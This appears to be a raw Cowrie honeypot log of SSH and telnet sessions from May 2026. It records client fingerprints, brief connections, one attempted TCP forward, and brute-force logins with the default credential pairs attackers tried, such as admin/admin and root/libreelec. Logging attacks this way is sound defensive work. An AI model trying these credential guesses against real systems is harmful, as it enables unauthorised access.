{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.356832Z","src_ip":"87.251.64.176","session":"200e9632031b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.646408Z","src_ip":"87.251.64.176","session":"200e9632031b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.744897Z","session":"200e9632031b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.842381Z","src_ip":"87.251.64.176","session":"200e9632031b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:52.073616Z","src_ip":"87.251.64.176","session":"200e9632031b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.64803862571716,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:52.930881Z","src_ip":"45.58.127.90","session":"4aa2a877903a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37462,"dst_ip":"10.17.0.5","dst_port":23,"session":"c791c7ca4561","protocol":"telnet","message":"New connection: 45.58.127.90:37462 (10.17.0.5:23) [session: c791c7ca4561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:04.942074Z"}
{"eventid":"cowrie.session.closed","duration":43.12641191482544,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:07.179453Z","src_ip":"45.58.127.90","session":"8d8c3857bf78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41998,"dst_ip":"10.17.0.5","dst_port":23,"session":"886d6ed6d022","protocol":"telnet","message":"New connection: 45.58.127.90:41998 (10.17.0.5:23) [session: 886d6ed6d022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:11.379623Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42008,"dst_ip":"10.17.0.5","dst_port":23,"session":"88eb51852fcf","protocol":"telnet","message":"New connection: 45.58.127.90:42008 (10.17.0.5:23) [session: 88eb51852fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:12.646435Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37852,"dst_ip":"10.17.0.5","dst_port":23,"session":"9455273ec6d8","protocol":"telnet","message":"New connection: 45.58.127.90:37852 (10.17.0.5:23) [session: 9455273ec6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:20.578757Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4757d900c95","protocol":"telnet","message":"New connection: 45.58.127.90:42018 (10.17.0.5:23) [session: e4757d900c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:20.918771Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":60516,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ccf660dfd6","protocol":"telnet","message":"New connection: 147.182.143.59:60516 (159.203.135.109:23) [session: c0ccf660dfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:21.570378Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37868,"dst_ip":"10.17.0.5","dst_port":23,"session":"6726c459f748","protocol":"telnet","message":"New connection: 45.58.127.90:37868 (10.17.0.5:23) [session: 6726c459f748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:25.462815Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":41984,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1906ac0fb04","protocol":"ssh","message":"New connection: 187.230.120.231:41984 (10.17.0.5:22) [session: e1906ac0fb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:28.015016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:28.019403Z","src_ip":"187.230.120.231","session":"e1906ac0fb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:28.134305Z","src_ip":"187.230.120.231","session":"e1906ac0fb04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234","message":"login attempt [ubuntu/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:28.604267Z","src_ip":"187.230.120.231","session":"e1906ac0fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:29.717629Z","src_ip":"187.230.120.231","session":"e1906ac0fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.993977069854736,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:31.564234Z","src_ip":"147.182.143.59","session":"c0ccf660dfd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.062995195388794,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:48.004966Z","src_ip":"45.58.127.90","session":"c791c7ca4561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.92852473258972,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:49.574869Z","src_ip":"45.58.127.90","session":"88eb51852fcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.214252948760986,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:54.593783Z","src_ip":"45.58.127.90","session":"886d6ed6d022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55833840370178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:47:56.476985Z","src_ip":"45.58.127.90","session":"e4757d900c95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.421199321746826,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:00.999822Z","src_ip":"45.58.127.90","session":"9455273ec6d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52720,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceeb13c71daf","protocol":"telnet","message":"New connection: 45.58.127.90:52720 (10.17.0.5:23) [session: ceeb13c71daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:03.429587Z"}
{"eventid":"cowrie.session.closed","duration":38.675435304641724,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:04.138124Z","src_ip":"45.58.127.90","session":"6726c459f748","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":35032,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6defa06c366","protocol":"ssh","message":"New connection: 187.230.120.231:35032 (10.17.0.5:22) [session: f6defa06c366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:23.456513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:23.461705Z","src_ip":"187.230.120.231","session":"f6defa06c366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:23.574489Z","src_ip":"187.230.120.231","session":"f6defa06c366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4sswOrd","message":"login attempt [ubuntu/p4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:24.053080Z","src_ip":"187.230.120.231","session":"f6defa06c366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:25.168927Z","src_ip":"187.230.120.231","session":"f6defa06c366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37204,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c2782da1bc3","protocol":"telnet","message":"New connection: 45.58.127.90:37204 (10.17.0.5:23) [session: 7c2782da1bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:35.989019Z"}
{"eventid":"cowrie.session.closed","duration":40.768457651138306,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:48:44.197914Z","src_ip":"45.58.127.90","session":"ceeb13c71daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.03032851219177,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:13.019402Z","src_ip":"45.58.127.90","session":"7c2782da1bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60144,"dst_ip":"10.17.0.5","dst_port":23,"session":"634ce4f96224","protocol":"telnet","message":"New connection: 45.58.127.90:60144 (10.17.0.5:23) [session: 634ce4f96224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:13.130715Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60130,"dst_ip":"10.17.0.5","dst_port":23,"session":"680c0511387b","protocol":"telnet","message":"New connection: 45.58.127.90:60130 (10.17.0.5:23) [session: 680c0511387b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:18.197574Z"}
{"eventid":"cowrie.session.closed","duration":1.6408195495605469,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:19.838248Z","src_ip":"45.58.127.90","session":"680c0511387b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":46282,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2af6c2835d6","protocol":"ssh","message":"New connection: 187.230.120.231:46282 (10.17.0.5:22) [session: c2af6c2835d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:22.378112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:22.382785Z","src_ip":"187.230.120.231","session":"c2af6c2835d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:22.495476Z","src_ip":"187.230.120.231","session":"c2af6c2835d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demouser","message":"login attempt [demo/demouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:22.966402Z","src_ip":"187.230.120.231","session":"c2af6c2835d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:24.078840Z","src_ip":"187.230.120.231","session":"c2af6c2835d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.38706040382385,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:56.517634Z","src_ip":"45.58.127.90","session":"634ce4f96224","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9dccea6c2f2","protocol":"telnet","message":"New connection: 45.58.127.90:38568 (10.17.0.5:23) [session: d9dccea6c2f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:49:58.331080Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.117","src_port":50750,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eb6e28a6b4e","protocol":"ssh","message":"New connection: 176.65.132.117:50750 (10.17.0.5:22) [session: 5eb6e28a6b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:00.708910Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:00.716798Z","src_ip":"176.65.132.117","session":"5eb6e28a6b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.117","src_port":50766,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d947272f8ec","protocol":"ssh","message":"New connection: 176.65.132.117:50766 (10.17.0.5:22) [session: 0d947272f8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:00.801697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:00.806504Z","src_ip":"176.65.132.117","session":"0d947272f8ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:00.890465Z","src_ip":"176.65.132.117","session":"0d947272f8ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"libreelec","message":"login attempt [root/libreelec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:01.062744Z","src_ip":"176.65.132.117","session":"0d947272f8ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9901084899902344,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:01.321043Z","src_ip":"45.58.127.90","session":"d9dccea6c2f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:02.149863Z","src_ip":"176.65.132.117","session":"0d947272f8ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43022,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fab6aeb5ab2","protocol":"ssh","message":"New connection: 87.251.64.176:43022 (10.17.0.5:22) [session: 2fab6aeb5ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:07.581280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:50:07.586602Z","src_ip":"87.251.64.176","session":"2fab6aeb5ab2","protocol":"ssh"}
